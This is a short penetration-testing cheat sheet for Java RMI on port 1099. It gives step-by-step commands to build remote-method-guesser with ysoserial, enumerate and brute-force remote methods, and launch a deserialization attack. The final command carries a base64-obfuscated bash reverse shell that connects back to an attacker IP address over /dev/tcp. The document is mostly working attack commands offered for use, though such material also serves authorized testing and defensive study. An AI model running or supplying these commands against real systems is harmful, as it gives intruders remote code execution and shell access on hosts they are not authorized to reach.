# Java Remote Management Interface (RMI) Penetration Testing

Port: 1099

Tools:

<https://github.com/qtc-de/remote-method-guesser>

<https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar>

## Tools installation

### 1) Clone the rmg project and download ysoserial

```
git clone https://github.com/qtc-de/remote-method-guesser
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
```

### 2) Before building the tool, set your downloaded ysoserial-all.jar file path in the configuration file of the rmg tool as shown below

```
nano remote-method-guesser/src/config.properties
```

Set the value of YSO variable to your ysoserial-all location

```
YSO = /home/kaiser/Desktop/NetworkProtocols/ysoserial-all.jar
```

### 3) Build solution

```
cd remote-method-guesser
mvn package
```

## Usage

### 1) Enumerate potential low-hanging fruit vulnerabilities

```
java -jar remote-method-guesser/target/rmi-5.1.0-jar-with-dependencies.jar enum TARGET_IP RMI_PORT
```

### 2) Brute force remote methods

```
java -jar remote-method-guesser/target/rmi-5.1.0-jar-with-dependencies.jar guess TARGET_IP RMI_PORT
```

### 3) Upon identifying remote methods, you can perform attacks to compromise the target.

Deserialization attack

```
java -jar rmg-5.1.0-jar-with-dependencies.jar serial TARGET_IP RMI_PORT CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIzNy84MCAwPiYx}|{base64,-d}|{bash,-i}' --bound-name REGISTRY_BOUND_NAME --signature "GUESSED_METHOD"
```
